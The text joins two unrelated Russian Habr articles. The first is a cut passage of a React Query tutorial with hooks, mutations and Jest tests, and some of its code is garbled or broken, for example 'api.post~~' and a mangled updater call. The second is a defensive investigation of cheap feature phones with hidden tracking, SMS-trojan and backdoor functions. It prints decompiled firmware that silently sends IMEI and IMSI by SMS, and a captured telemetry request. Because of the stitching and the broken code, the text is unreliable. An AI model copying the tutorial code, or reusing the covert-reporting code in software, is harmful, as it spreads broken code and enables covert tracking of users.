```
const UsersSummary = () => {
const { data: list, isLoading } = useGetAppointmentsList();
if (!isLoading && !list) {
return null;
}
return (
Total appointments:{' '}
{isLoading ? (
) : (
list!.pages[0].count
)}
);
};
```
Компонент списка:
```
const UsersList = () => {
const {
data: list,
isLoading,
fetchNextPage,
hasNextPage,
isFetchingNextPage,
} = useGetAppointmentsList();
return (
<>
{isLoading ? (
) : (
{list!.pages.map((page) => (
{page.data.map((item) => (
))}
))}
)}
{hasNextPage && (
{
fetchNextPage();
}}
disabled={isFetchingNextPage}
>
{isFetchingNextPage ? 'Loading more...' : 'Load more users'}
)}
);
};
```
Они используют хук `useGetAppointmentsList`, который отправляет запрос к `API`. Как вы можете увидеть в инструментах разработчика, запрос `GET /api/getUserList` выполняется только один раз.
Загрузка дополнительных данных
------------------------------
В приложении имеется бесконечный список с кнопкой `Load more` (Загрузить еще). Для реализации такого списка вместо хука `useQuery` следует использовать хук `useInfiniteQuery`, который позволяет обрабатывать пагинацию с помощью функции `fetchNextPage`:
```
export const useGetAppointmentsList = () =>
useLoadMore(apiRoutes.getUserList);
```
Наша абстракция для рассматриваемого хука:
```
export const useLoadMore = (url: string | null, params?: object) => {
const context = useInfiniteQuery<
GetInfinitePagesInterface,
Error,
GetInfinitePagesInterface,
QueryKeyT
>(
[url!, params],
({ queryKey, pageParam = 1 }) => fetcher({ queryKey, pageParam }),
{
getPreviousPageParam: (firstPage) => firstPage.previousId ?? false,
getNextPageParam: (lastPage) => {
return lastPage.nextId ?? false;
},
}
);
return context;
};
```
Данный хук похож на хук `useFetch`, за исключением того, что мы определяем функции `getPreviousPageParam` и `getNextPageParam` на основе ответа `API` и передаем свойство `pageParam` в фетчер.
```
const UsersList = () => {
const {
data: list,
isLoading,
fetchNextPage,
hasNextPage,
isFetchingNextPage,
} = useGetAppointmentsList();
return (
<>
{isLoading ? (
) : (
{list!.pages.map((page) => (
{page.data.map((item) => (
))}
))}
)}
{hasNextPage && (
{
fetchNextPage();
}}
disabled={isFetchingNextPage}
>
{isFetchingNextPage ? 'Loading more...' : 'Load more users'}
)}
);
};
```
Хук `useInfiniteQuery` предоставляет несколько дополнительных полей, таких как `fetchNextPage`, `hasNextPage`, `isFetchingNextPage`, а также методы `fetchNextPage` и `fetchPreviousPage`, которые можно использовать для загрузки дополнительных данных.
Фоновый индикатор получения данных/повторный запрос данных
----------------------------------------------------------
Интересной фичей, предоставляемой `React Query`, является возможность выполнения повторного запроса при установке фокуса на область просмотра, например, при переключении вкладок. Это может быть полезным, например, когда данные могут модифицироваться несколькими авторами. Если вкладка браузера открыта, необходимости в перезагрузки страницы нет. Но при возвращении на вкладку мы должны видеть актуальные данные. `React Query` имеет несколько настроек, связанных с повторным выполнением запросов:
* `refetchInterval`;
* `refetchIntervalInBackground`;
* `refetchOnMount`;
* `refetchOnReconnect`;
* `refetchOnWindowFocus`.
Эти настройки можно устанавливать глобально:
```
const queryClient = new QueryClient({
defaultOptions: {
queries: {
refetchOnWindowFocus: false,
},
},
});
```
В качестве индикатора повторного выполнения запроса можно использовать флаг `isFetching`.
Выполнение условных запросов
----------------------------
Поскольку мы используем хуки для получения данных, возникает закономерный вопрос: как отменять выполнение запросов? Как вы знаете, мы не можем вызывать хуки условно, например, так делать нельзя:
```
if (data?.hasInsurance) {
const { data: insurance } = useGetInsurance(
data?.hasInsurance ? +id : null
);
}
```
Предположим, что необходимо выполнять дополнительный запрос на получение данных о страховке на основе информации о встрече.
Если мы хотим выполнить запрос, то передаем ключ, если не хотим — передаем `null`:
```
const { data: insurance } = useGetInsurance(data?.hasInsurance ? +id : null);
export const useGetInsurance = (id: number | null) =>
useFetch(
id ? pathToUrl(apiRoutes.getInsurance, { id }) : null
);
```
В хуке `useFetch` установлена настройка `enabled`. В случае, когда данная настройка имеет значение `false`, запрос не выполняется.
Для встречи с `id === 1` `hasInsurance` имеет значение `true`. Выполняем дополнительный запрос и показываем иконку двойной галочки рядом с именем. Это означает, что мы получили флаг `allCovered` от конечной точки `getInsurance`:
Для встречи с `id === 2` `hasInsurance` имеет значение `false`. Дополнительный запрос для этой встречи не выполняется:
Простая мутация с инвалидацией данных
-------------------------------------
Для создания/обновления/удаления данных в `React Query` используются мутации. Это означает, что мы отправляем запрос на сервер, получаем ответ и на основе определенной функции обновления мутируем состояние для обеспечения его актуальности без выполнения дополнительного запроса.
Для таких операций у нас имеется общая абстракция:
```
const useGenericMutation = (
func: (data: S) => Promise>,
url: string,
params?: object,
updater?: ((oldData: T, newData: S) => T) | undefined
) => {
const queryClient = useQueryClient();
return useMutation(func, {
onMutate: async (data) => {
await queryClient.cancelQueries([url!, params]);
const previousData = queryClient.getQueryData([url!, params]);
queryClient.setQueryData([url!, params], (oldData) => {
return updater ? (oldData!, data) : data;
});
return previousData;
},
// Если мутация провалилась, использовать контекст, возвращенный `onMutate` для восстановления предыдущего состояния (отката - rollback)
onError: (err, \_, context) => {
queryClient.setQueryData([url!, params], context);
},
onSettled: () => {
queryClient.invalidateQueries([url!, params]);
},
});
};
```
Рассмотрим этот хук подробнее. У нас есть несколько коллбэков:
* `onMutate` (если запрос выполнен):
+ отменяем выполняющиеся запросы;
+ сохраняем текущие данные в переменную;
+ используем функцию `updater` (при наличии) для мутирования состояния тем или иным образом, иначе просто перезаписываем состояние новыми данными. В большинстве случаев имеет смысл определять `updater`;
+ возвращаем предыдущие данные;
* `onError` (если запрос провалился):
+ восстанавливаем предыдущее состояние;
* `onSettled` (при любом завершении запроса):
+ инвалидируем запрос для обеспечения актуальности состояния.
Примеры использования этой абстракции для выполнения мутаций:
```
export const useDelete = (
url: string,
params?: object,
updater?: (oldData: T, id: string | number) => T
) => {
return useGenericMutation(
(id) => api.delete(`${url}/${id}`),
url,
params,
updater
);
};
export const usePost = (
url: string,
params?: object,
updater?: (oldData: T, newData: S) => T
) => {
return useGenericMutation(
(data) => api.post~~(url, data),
url,
params,
updater
);
};
export const useUpdate = (
url: string,
params?: object,
updater?: (oldData: T, newData: S) => T
) => {
return useGenericMutation(
(data) => api.patch~~(url, data),
url,
params,
updater
);
};~~~~
```
Вот почему так важно иметь одинаковый набор `[url!, params]` (который используется в качестве ключа) во всех хуках. Без этого библиотека не сможет инвалидировать состояние и сопоставлять запросы.
Посмотрим, как это работает в приложении. У нас есть раздел `History`. При нажатии кнопки `Save` отправляется запрос `PATCH`, в ответ на который возвращается обновленный объект встречи.
Сначала определяется мутация. В данном случае нас устраивает возврат нового состояния, поэтому мы не определяем `updater`:
```
const mutation = usePatchAppointment(+id);
export const usePatchAppointment = (id: number) =>
useUpdate(
pathToUrl(apiRoutes.appointment, { id })
);
```
*Обратите внимание*: здесь используется общий хук `useUpdate`.
В конце вызывается метод `mutate` с данными для обновления: `mutation.mutate([data!])`.
*Обратите внимание*: в данном компоненте используется флаг `isFetching` для индикации обновления данных при установке фокуса на область просмотра, поэтому мы можем отслеживать состояние загрузки при каждом выполнении запроса. Когда мы нажимаем на `Save`, мутируем состояние и выполняем запрос, мы также отображаем индикатор загрузки:
```
const History = ({ id }: Props) => {
const { data, isFetching } = useGetAppointment(+id);
const mutation = usePatchAppointment(+id);
if (isFetching) {
return (
);
}
const onSubmit = () => {
mutation.mutate(data!);
};
return (
<>
{data?.history.map((item) => (
Date: {item.date}
Comment: {item.comment}
))}
{!data?.history.length && !isFetching && (
Nothing found
)}
Save
);
};
```
Мутация с оптимистичным обновлением
-----------------------------------
Теперь рассмотрим более сложный пример: в приложении есть список, в котором должна быть возможность добавлять и удалять элементы. Мы хотим сделать пользовательский опыт настолько плавным, насколько это возможно. Поэтому реализуем оптимистичное обновление для создания/удаления задач.
Для этого необходимо выполнить следующие операции:
* пользователь вводит название задачи и нажимает кнопку `Add`;
* мы сразу добавляем задачу в список и отображаем индикатор загрузки на `Add`;
* в это же время выполняется запрос к `API`;
* при получении ответа индикатор скрывается;
* если запрос выполнен, новая задача сохраняется, обновляется ее `id` в списке и очищается инпут;
* если запрос провалился, показываем уведомление об ошибке, удаляем задачу из списка и сохраняем значение инпута;
* в обоих случаях отправляется запрос `GET` для обеспечения актуальности состояния.
Логика:
```
const { data, isLoading } = useGetJobs();
const mutationAdd = useAddJob((oldData, newData) => [...oldData, newData]);
const mutationDelete = useDeleteJob((oldData, id) =>
oldData.filter((item) => item.id !== id)
);
const onAdd = async () => {
try {
await mutationAdd.mutateAsync({
name: jobName,
appointmentId,
});
setJobName('');
} catch (e) {
pushNotification(`Cannot add the job: ${jobName}`);
}
};
const onDelete = async (id: number) => {
try {
await mutationDelete.mutateAsync(id);
} catch (e) {
pushNotification(`Cannot delete the job`);
}
};
```
В данном случае определяется функция `updater` для мутации состояния посредством кастомной логики: создания массива с новым элементом или фильтрация массива по `id` при удалении элемента. Логика может быть любой в зависимости от потребностей компонента или приложения.
После нажатия `Add` мы сразу видим обновленный список, после чего сначала отправляется `POST`, а затем `GET-запрос`. Это работает благодаря коллбэку `onSettled`, определенному в хуке `useGenericMutation` — независимо от результата выполнения запроса, всегда запрашиваются свежие данные:
```
onSettled: () => {
queryClient.invalidateQueries([url!, params]);
},
```
Если сервер возвращает ошибку, оптимистичное обновление откатывается и отображается уведомление. Это работает благодаря коллбэку `onError` в хуке `useGenericMutation` — мы восстанавливаем предыдущие данные в случае ошибки:
```
onError: (err, _, context) => {
queryClient.setQueryData([url!, params], context);
},
```
Предварительное получение данных
--------------------------------
Предварительное получение данных может быть полезным, когда существует высокая вероятность того, что пользователь запросит эти данные в ближайшем будущем.
В приложении информация об автомобиле запрашивается при наведение пользователем курсора на раздел `Additional`.
Это позволяет рендерить данные незамедлительно при нажатии пользователем кнопки `Show`:
```
const prefetchCarDetails = usePrefetchCarDetails(+id);
onMouseEnter={() => {
if (!prefetched.current) {
prefetchCarDetails();
prefetched.current = true;
}
}}
export const usePrefetchCarDetails = (id: number | null) =>
usePrefetch(
id ? pathToUrl(apiRoutes.getCarDetail, { id }) : null
);
```
Абстракция для предварительного получения данных выглядит следующим образом:
```
export const usePrefetch = (url: string | null, params?: object) => {
const queryClient = useQueryClient();
return () => {
if (!url) {
return;
}
queryClient.prefetchQuery(
[url!, params],
({ queryKey }) => fetcher({ queryKey })
);
};
};
```
Для рендеринга информации об автомобиле используется компонент `CarDetails`, в котором определяется хук для получения данных:
```
const CarDetails = ({ id }: Props) => {
const { data, isLoading } = useGetCarDetail(id);
if (isLoading) {
return ;
}
if (!data) {
return Nothing found;
}
return (
Model: {data.model}
Number: {data.number}
);
};
export const useGetCarDetail = (id: number | null) =>
useFetch(
pathToUrl(apiRoutes.getCarDetail, { id }),
undefined,
{ staleTime: 2000 }
);
```
У нас нет необходимости передавать пропы этому компоненту. В компоненте `Appointment` данные предварительно получаются, а в компоненте `CarDetails` для извлечения этих данных используется хук `useGetCarDetail`.
Настройка `staleTime` определяет задержку перед выполнением запроса. Без нее запрос может быть выполнен дважды, если пользователь будет слишком медленно двигать курсором.
Suspense
--------
`Suspense` — это экспериментальная возможность `React`, позволяющая ждать некоторые данные декларативным способом. Другими словами, мы можем вызвать компонент `Suspense` и определить компонент `fallback`, который будет отображаться в период ожидания данных. Нам даже не нужен флаг `isLoading` из `React Query`. Для получения более подробной информации обратитесь к [официальной документации](https://reactjs.org/docs/concurrent-mode-suspense.html).
Предположим, что у нас есть компонент `Service`, и мы хотим показывать ошибку и кнопку `Try again` (Попробовать снова), если что-то пошло не так.
Давайте применим комбинацию `Suspense`, `React Query` и `Error Boundary`. В качестве последнего используется библиотека [react-error-boundary](https://www.npmjs.com/package/react-error-boundary):
```
{({ reset }) => (
(
**Error!**
{error.message}
resetErrorBoundary()}
>
Try again
)}
onReset={reset}
>
}
>
)}
```
Внутри `Suspense` рендерится компонент `ServiceCheck`, в котором выполняется запрос на получение перечня услуг:
```
const { data } = useGetServices();
```
В хуке мы устанавливаем `suspense: true` и `retry: 0`:
```
export const useGetServices = () =>
useFetch(apiRoutes.getServices, undefined, {
suspense: true,
retry: 0,
});
```
На сервере мы произвольно отправляем ответ со статус-кодом `200` или `500`:
```
mock.onGet(apiRoutes.getServices).reply((config) => {
if (!getUser(config)) {
return [403];
}
const failed = !!Math.round(Math.random());
if (failed) {
return [500];
}
return [200, services];
});
```
При получении ошибки отображается соответствующее уведомление с сообщением. Нажатие `Try again` приводит к вызову метода `resetErrorBoundary`, который повторно выполняет запрос. Во время выполнения запроса отображается скелетон, переданный в проп `fallback` компонента `Suspense`.
Как видите, `Suspense` предоставляет простой и удобный способ обработки ошибок, связанных с асинхронным получением данных, но помните, что эта возможность является нестабильной и, по всей видимости, не должна использоваться в продакшне.
Тестирование
------------
Тестирование приложения, в котором используется `React Query`, почти ничем не отличается от тестирования любого другого `React-приложения`. Для тестирования нашего приложения используются [React Testing Library](https://testing-library.com/docs/react-testing-library/intro/) и [Jest](https://jestjs.io/ru/).
Создаем абстракцию для рендеринга компонентов:
```
export const renderComponent = (children: React.ReactElement, history: any) => {
const queryClient = new QueryClient({
defaultOptions: {
queries: {
retry: false,
},
},
});
const options = render(
{children}
);
return {
...options,
debug: (
el?: HTMLElement,
maxLength = 300000,
opt?: prettyFormat.OptionsReceived
) => options.debug(el, maxLength, opt),
};
};
```
Устанавливаем `retry: false` в качестве настройки по умолчанию в `QueryClient` и оборачиваем компонент в `QueryClientProvider`.
Протестируем компонент `Appointment`.
Проверяем, что компонент правильно рендерится:
```
test('should render the main page', async () => {
const mocked = mockAxiosGetRequests({
'/api/appointment/1': {
id: 1,
name: 'Hector Mckeown',
appointment_date: '2021-08-25T17:52:48.132Z',
services: [1, 2],
address: 'London',
vehicle: 'FR14ERF',
comment: 'Car does not work correctly',
history: [],
hasInsurance: true,
},
'/api/job': [],
'/api/getServices': [
{
id: 1,
name: 'Replace a cambelt',
},
{
id: 2,
name: 'Replace oil and filter',
},
{
id: 3,
name: 'Replace front brake pads and discs',
},
{
id: 4,
name: 'Replace rare brake pads and discs',
},
],
'/api/getInsurance/1': {
allCovered: true,
},
});
const history = createMemoryHistory();
const { getByText, queryByTestId } = renderComponent(
,
history
);
expect(queryByTestId('appointment-skeleton')).toBeInTheDocument();
await waitFor(() => {
expect(queryByTestId('appointment-skeleton')).not.toBeInTheDocument();
});
expect(getByText('Hector Mckeown')).toBeInTheDocument();
expect(getByText('Replace a cambelt')).toBeInTheDocument();
expect(getByText('Replace oil and filter')).toBeInTheDocument();
expect(getByText('Replace front brake pads and discs')).toBeInTheDocument();
expect(queryByTestId('DoneAllIcon')).toBeInTheDocument();
expect(
mocked.mock.calls.some((item) => item[0] === '/api/getInsurance/1')
).toBeTruthy();
});
```
Определяем вспомогательные функции для установки `URL` и ответа на запросы `Axios` фиктивными данными:
```
const getMockedData = (
originalUrl: string,
mockData: { [url: string]: any },
type: string
) => {
const foundUrl = Object.keys(mockData).find((url) =>
originalUrl.match(new RegExp(`${url}$`))
);
if (!foundUrl) {
return Promise.reject(
new Error(`Called unmocked api ${type} ${originalUrl}`)
);
}
if (mockData[foundUrl] instanceof Error) {
return Promise.reject(mockData[foundUrl]);
}
return Promise.resolve({ data: mockData[foundUrl] });
};
export const mockAxiosGetRequests = (mockData: {
}): MockedFunction => {
// @ts-ignore
return axios.get.mockImplementation((originalUrl) =>
getMockedData(originalUrl, mockData, 'GET')
);
};
```
Проверяем состояние загрузки и ждем размонтирования компонента:
```
expect(queryByTestId('appointment-skeleton')).toBeInTheDocument();
await waitFor(() => {
expect(queryByTestId('appointment-skeleton')).not.toBeInTheDocument();
});
```
Проверяем выполнение запроса на получения данных о страховке:
```
expect(
mocked.mock.calls.some((item) => item[0] === '/api/getInsurance/1')
).toBeTruthy();
```
Здесь проверяется, что индикаторы загрузки, получение данных и обращение к конечным точкам выполняется правильно.
Далее проверяем, что запрос на получение данных о страховке не выполняется в случае, когда у нас нет такой необходимости:
```
test('should not call and render Insurance flag', async () => {
const mocked = mockAxiosGetRequests({
'/api/appointment/1': {
id: 1,
name: 'Hector Mckeown',
appointment_date: '2021-08-25T17:52:48.132Z',
services: [1, 2],
address: 'London',
vehicle: 'FR14ERF',
comment: 'Car does not work correctly',
history: [],
hasInsurance: false,
},
'/api/getServices': [],
'/api/job': [],
});
const history = createMemoryHistory();
const { queryByTestId } = renderComponent(, history);
await waitFor(() => {
expect(queryByTestId('appointment-skeleton')).not.toBeInTheDocument();
});
expect(queryByTestId('DoneAllIcon')).not.toBeInTheDocument();
expect(
mocked.mock.calls.some((item) => item[0] === '/api/getInsurance/1')
).toBeFalsy();
});
```
Здесь проверяется, что при получении `hasInsurance: false` в ответе, запрос к соответствующей конечной точке не отправляется и соответствующая иконка не рендерится.
Наконец, тестируем мутации в компоненте `Jobs`. Полный код этого теста:
```
test('should be able to add and remove elements', async () => {
const mockedPost = mockAxiosPostRequests({
'/api/job': {
name: 'First item',
appointmentId: 1,
},
});
const mockedDelete = mockAxiosDeleteRequests({
'/api/job/1': {},
});
const history = createMemoryHistory();
const { queryByTestId, queryByText } = renderComponent(
,
history
);
await waitFor(() => {
expect(queryByTestId('loading-skeleton')).not.toBeInTheDocument();
});
await changeTextFieldByTestId('input', 'First item');
await clickByTestId('add');
mockAxiosGetRequests({
'/api/job': [
{
id: 1,
name: 'First item',
appointmentId: 1,
},
],
});
await waitFor(() => {
expect(queryByText('First item')).toBeInTheDocument();
});
expect(
mockedPost.mock.calls.some((item) => item[0] === '/api/job')
).toBeTruthy();
await clickByTestId('delete-1');
mockAxiosGetRequests({
'/api/job': [],
});
await waitFor(() => {
expect(queryByText('First item')).not.toBeInTheDocument();
});
expect(
mockedDelete.mock.calls.some((item) => item[0] === '/api/job/1')
).toBeTruthy();
});
```
Здесь происходит следующее:
* мокируются запросы `POST` и `DELETE`;
* поле ввода заполняется некоторым текстом и нажимается кнопка;
* мокируется запрос `GET`: предполагается, что `POST-запрос` выполнен успешно и сервер ответил обновленными данными — в нашем случае списком из 1 элемента;
* ожидается обновление текста в компоненте;
* проверяется выполнение `POST-запроса` к `api/job`;
* нажимается кнопка `Delete`;
* мокируется запрос `GET`: на этот раз возвращается пустой список;
* проверяется, что удаленный элемент отсутствует в документе;
* проверяется выполнение запроса `DELETE` к `api/job/1`.
*Обратите внимание*: перед каждым тестов все моки должны очищаться во избежания их смешивания.
```
afterEach(() => {
jest.clearAllMocks();
});
```
Надеюсь, что вы, как и я, узнали что-то новое и не зря потратили время.
Благодарю за внимание и happy coding!
---
[](https://timeweb.cloud/?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/702876/ | null | ru | null |
# Трояны и бэкдоры в кнопочных мобильных телефонах российской розницы
**TL;DR:** немалое количество простых кнопочных телефонов, присутствующих в российских магазинах, содержат нежелательные недокументированные функции. Они могут совершать автоматическую отправку СМС-сообщений или выходить в интернет для передачи факта покупки и использования телефона (передавая IMEI телефона и IMSI SIM-карт). Встречаются модели со встроенным трояном, отправляющим платные СМС-сообщения на короткие номера, текст которого загружается с сервера, также бывают устройства с настоящим бэкдором, пересылающим входящие СМС-сообщения на сервер злоумышленников.
Статья описывает детали вредоносных функций и способы их обнаружения.
Введение
--------
Исследование мобильных телефонов началось с простой идеи: можно ли использовать эти дешевые и доступные в любом магазине трубки для приёма СМС-сообщений на компьютер? Телефоны гораздо дешевле распространённых USB GSM-модемов, к тому же большинство моделей поддерживают 2 SIM-карты, а некоторые и до четырёх.
В силу почти полного отсутствия информации о наличии и возможностях AT-порта в современных телефонах, я решил купить несколько максимально разных устройств для проверки их функциональности.
Но как выбрать по-настоящему *разные* телефоны?
Три кита мобильных SoC
----------------------
Существует три основных производителя систем-на-чипе для кнопочных звонилок:
| | | | |
| --- | --- | --- | --- |
| | **RDA Microelectronics** | **Spreadtrum** | **Mediatek** |
| **Архитектура** | MIPS | ARM | ARM |
| **Стандарты** | 2G | 2G/3G/4G | 2G/3G/4G |
| | Более не выпускаются, но всё ещё продаются.Компания куплена Spreadtrum. | Ребрендированы в Unisoc, но продолжают выпускать чипы под старым брендом. | Имеют линейки для смартфонов, кнопочных телефонов, IoT, встраиваемых устройств, и т.д. |
Каждый производитель чипов предоставляет свой SDK для разработки прошивок на его основе. SDK разных производителей разительно отличаются и, как правило, пишутся под конкретную линейку чипов и задачу. Функции конечного устройства также зависят от операционной системы: SDK может быть интегрирован в ОС реального времени через HAL.
Не обязательно покупать десятки и сотни телефонов для проведения полноценного тестирования: достаточно купить несколько моделей разных производителей SoC и с разными операционными системами.
Что я купил и что получил
-------------------------
Были куплены почти случайные телефоны, ориентируясь по визуальной составляющей интерфейса на фотографиях и в видеообзорах и немногочисленной информации о SoC в интернете:
* **Inoi 101** (RDA8826/SC6533, 600₽)
* **DEXP SD2810** (SC6531E, 699₽)
* **Itel it2160** (MT6261, 799₽)
* **Irbis SF63** (SC6531DA, 750₽)
* **F+ Flip 3** (SC6531DA, 1499₽)
Довольно быстро я осознал, что с телефонами что-то не так…
Классификация нежелательных функций
-----------------------------------
Вредоносную активность телефонов можно разделить на три категории:
1. **Отправка СМС и выход в интернет для «отслеживания продаж»**
Наиболее безобидная функция, не наносящая значительный материальный урон мобильному счёту. Устройство без ведома пользователя отправляет СМС (на обычный российский номер) или выходит в интернет, передавая IMEI-номер телефона и IMSI SIM-карты неустановленной организации или частному лицу.
Передача данных осуществляется либо один раз до сброса устройства в заводское состояние, либо после каждого извлечения аккумулятора.
2. **Троян, отправляющий СМС на платные (короткие) номера, предварительно загрузив текст и номер с сервера через интернет**Функция, систематически списывающая средства со счёта мобильного номера. Помимо частого автоматического и скрытного выхода в интернет (что само по себе расходует деньги на не-пакетных тарифах), мобильное устройство отправляет отдельно тарифицируемые СМС-сообщения на короткие номера, перехватывает подтверждающую СМС и отправляет текст подтверждения в ответ.
3. **Бэкдор, перехватывающий входящие СМС-сообщения и отправляющий их на сервер**
Позволяет злоумышленникам использовать ваш номер телефона для регистраций на сервисах, требующих подтверждения через СМС. Телефон периодически выходит в интернет и получает команды с сервера, результат выполнения которых отправляется обратно на сервер.
Методы обнаружения и анализа вредоносной активности
---------------------------------------------------
**Проверка детализации мобильного оператора** — способ, доступный любому человеку. Достаточно вставить рабочую SIM в телефон, включить его и оставить лежать полные сутки, после чего запросить детализацию в виде файла через онлайн-кабинет мобильного оператора. Данный метод позволяет выявить факт выхода в интернет (без адресов хостов и передаваемого содержимого), факт отправки СМС-сообщения и номер получателя, точное время совершенных действий.
Детализация помогает легко понять, содержится ли в телефоне нежелательная функциональность, без подробностей.
Детализация расходов мобильного оператора**Анализ прошивки телефона** — затратный метод, требующий глубоких познаний в устройстве телефона и способах обратной разработки ПО, зато позволяющий детально проанализировать вредоносные функции прошивки, а также избавиться от них.
Анализ прошивки состоит из трёх этапов:
1. Получение дампа из телефона или поиска и скачивания прошивки в интернете
2. Распаковки сжатых частей прошивки при необходимости
3. Исследования кода прошивки вручную
Самый простой и универсальный, но затратный или опасный способ дампа прошивки — использование так называемых «боксов» — аппаратно-программных комплексов от сторонних разработчиков для прошивки и восстановления широкого модельного ряда телефонов. Лет 15 назад боксы были распространены и востребованы, т.к. у каждого производителя телефонов был свой кабель, свой метод подключения к компьютеру в режиме сервисного обслуживания, часто требовалось подключение к контактным панелям (падам) в аккумуляторном отсеке. Современным телефонам такое, как правило, не нужно, и актуальные «боксы» представляют собой лишь особое ПО, способное производить все действия через USB-подключение.
Для снятия прошивки я воспользовался взломанной версией **Miracle Box**. Чтобы модификации, сделанные крякерами, нельзя было легко посмотреть путём сравнения оригинального и измененного файла, на взломанную версию навешан Enigma Protector, прямо поверх VMProtect, который используется в оригинальном ПО. Из-за этого программа запускается около минуты и тормозит на отрисовке кнопок и компонентов при переключении вкладок.
Взломщики не озаботились отключением интернет-функций программы, что позволило авторам выявлять использование взломанной версии и, по всей видимости, выполнять произвольный код на компьютере пользователя: в окне лога появляются устрашающие надписи о сборе и отправке всех сохранённых паролей на сервер.
Miracle Box (cracked)Преимущество подобного ПО в полной автоматизации процесса: программа сама определит конкретную модель процессора, адрес флеш-памяти и её размер. Некоторые боксы содержат встроенные эксплоиты для обхода Secure Boot и других подобных защит.
Существуют и альтернативные варианты получения дампов. Для чипов Mediatek можно воспользоваться официальной программой **MTK Flash Tool**, в которой есть функция чтения произвольного адреса памяти, а для **RDA** можно воспользоваться [готовым скриптом](https://github.com/ihewitt/ivrtrack/blob/main/util/dump.c), позволяющим прочитать в т.ч. оперативную память.
Официальное ПО для Spreadtrum: SPD Flash Tool / ResearchDownload.
**Для распаковки прошивки** основного раздела ALICE чипов **Mediatek** можно воспользоваться сторонней разработкой unalice, разжимающий файл: <https://github.com/donnm/mtk_fw_tools/>
Про работу с прошивками **RDA** я уже писал в статье «[Мелкая доработка прошивки кнопочного телефона на платформе RDA8826 (SC6533, MIPS): отключаем Funbox, взламываем игры](https://habr.com/ru/post/558780/)». Самый простой способ — дать распаковать всё самому телефону, после чего извлечь распакованные данные из оперативной памяти прямо во время работы телефона.
На **Spreadtrum** основная часть прошивки сжата модифицированным LZMA, ~~распаковщик к которому отсутствует в публичном доступе~~ [Уже доступен](https://habr.com/post/575626/comments/#comment_23437406). Для распаковки необходимо модифицировать несжатый код таким образом, чтобы он выполнил распаковку аппаратным устройством и передал распакованный код на компьютер, но на моём единственном устройстве порт UART был настроен на DSP, а не основной процессор, и переключить мне его не удалось. Можно было задействовать другие методы вывода (например, воспользовавшись динамиком или фонариком в качестве транспорта), но я не стал этого делать.
**Базовая станция 2G** — удобный и лёгкий в настройке метод массового практического анализа вредоносной активности без предварительной подготовки каждого устройства, однако требующий значительных капитальных затрат на покупку SDR-оборудования.
Метод даёт доступ ко всему сетевому трафику GSM/GPRS, с возможностью его просмотра и модификации на лету.
Моя конфигурация:
* bladeRF x115 ($650)
* Raspberry Pi 400 ($100)
* Открытое и бесплатное ПО базовой станции YateBTS
* Wireshark для анализа GSM и интернет-трафика
BladeRF питается от USB и не требует никакой дополнительной обвязки. Достаточно обычной дипольной антенны для начала работы.
YateBTS автономно реализует все компоненты GSM-стека, благодаря чему устанавливается и настраивается буквально за 30 минут. Отлично подходит для подобных исследований!
Телефоны
--------
Inoi 101Первое и самое «чистое» купленное устройство — **Inoi 101**, о котором я уже писал [отдельную заметку](https://habr.com/ru/post/558780/)
Этот телефон не содержит вредоносных функций. Присутствуют типичные нежелательные вещи вроде меню СМС-подписок и платные игры, но устройство не выполняет какие-либо действия самовольно или скрытно.
Itel it2160Itel — китайский производитель, выпускающий устройства для развивающихся стран. Входит в холдинг Transsion, объединяющий бренды Tecno, itel, Infinix, Spice.
Модель **Itel it2160** сообщает «о продаже» через интернет, без предупреждения.
```
POST /SaleStatistics/sendsale/sendSale?ua=itel-it2160&screen=128X160&imsi=9250991625668426&imei=354648020000251☎_version=it2160-DL194-EnRuUk-RU-20210201&platform=2&device=1⟨=Русский язык&timeStamp=2021-01-0102:00:00&auth=ed6bdd17212ec9c9699a6b0a693870fd HTTP/1.1
Host: asv.transsion.com:8080
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
x-wap-profile: http://nds.nokia.com/uaprof/N6280r100.xml
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 31 May 2021 16:05:17 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 52
Connection: keep-alive
{"response":{"code":"201","desc":"Repeat Products"}}
```
На домене asv.transsion.com была найдена панель, содержащая информацию о проданных устройствах, которую они сами присылают на сервер:
* IMEI
* Страна
* Модель
* Версия прошивки
* Язык
* Время активации
* Идентификатор базовой станции (LAC/TAC)
Идентификатор базовой станции позволяет определить местоположение телефона с точностью до ≈5 километров.
Адрес панели: <http://asv.transsion.com:8080/openinfo/open/index>
F+ Flip 3**Flip 3** российского OEM-поставщика **F+** cообщает «о факте продажи» через СМС на номер **+79584971255**, отсылая IMEI и IMSI в теле сообщения.
Не содержит браузера, не выходит в интернет.
Отправка сообщения с IMEI и IMSI на номер 79584971255Декомпиляция прошивки выявляет наличие других номеров телефонов для ряда стран: **+92313568243** для Пакистана (PLMN 410), **+8804445600006** для Бангладеша (PLMN 470), **18049479956** для Азербайджана и Казахстана (PLMN 400, 401), **+9156767215** для Индии (PLMN 404, 405).
```
_BYTE *__fastcall gmb_sms_sales_get_phone_number(int *plmn, int number_, int text_)
{
int text; // r2
char *number; // r1
MEMORY[0x10041098](number_, text_);
if ( plmn == (int *)410 )
{
text = text_;
number = "+92313568243";
}
else if ( (int)plmn > 410 )
{
if ( (int)plmn - 410 <= 50 || plmn != (int *)470 )
goto LABEL_17;
text = text_;
number = "+8804445600006";
}
else
{
if ( plmn == (int *)400 )
{
LABEL_17:
text = text_;
number = "18049479956";
return sub_10324500(number_, (unsigned __int8 *)number, text);
}
if ( (int)plmn > 400 )
{
if ( plmn == (int *)401 || plmn != (int *)404 && plmn != (int *)405 )
goto LABEL_17;
text = text_;
number = "+9156767215";
}
else
{
if ( plmn != (int *)250 )
goto LABEL_17;
text = text_;
number = "+79584971255";
}
}
return sub_10324500(number_, (unsigned __int8 *)number, text);
}
```
В тексте СМС помимо IMEI и IMSI передаются три константы, по всей видимости означающие модель телефона и номер партии (дату производства):
```
…
sms_prepare_struct((int)v5, 32);
sub_10309198();
imsi = (const char *)get_imsi();
if ( !imsi )
imsi = &str_zero;
imei = (const char *)get_imei();
if ( !imei )
imei = "000000000000000";
strcpy((int)sms_str, "#%s#%s#%s#%d#%d#", imsi, imei, "250124", 64, 1);
result = schedule_sms((int)sms_str, (int)v5, v0, (int)sms_callback);
```
Отзывы с [Яндекс.Маркета](https://market.yandex.ru/product--telefon-f-flip-3/662548132/reviews):
> После включения, аппарат отправил некое СМС на номер 9584971255. Скорее всего, верну аппарат обратно в магазин.
>
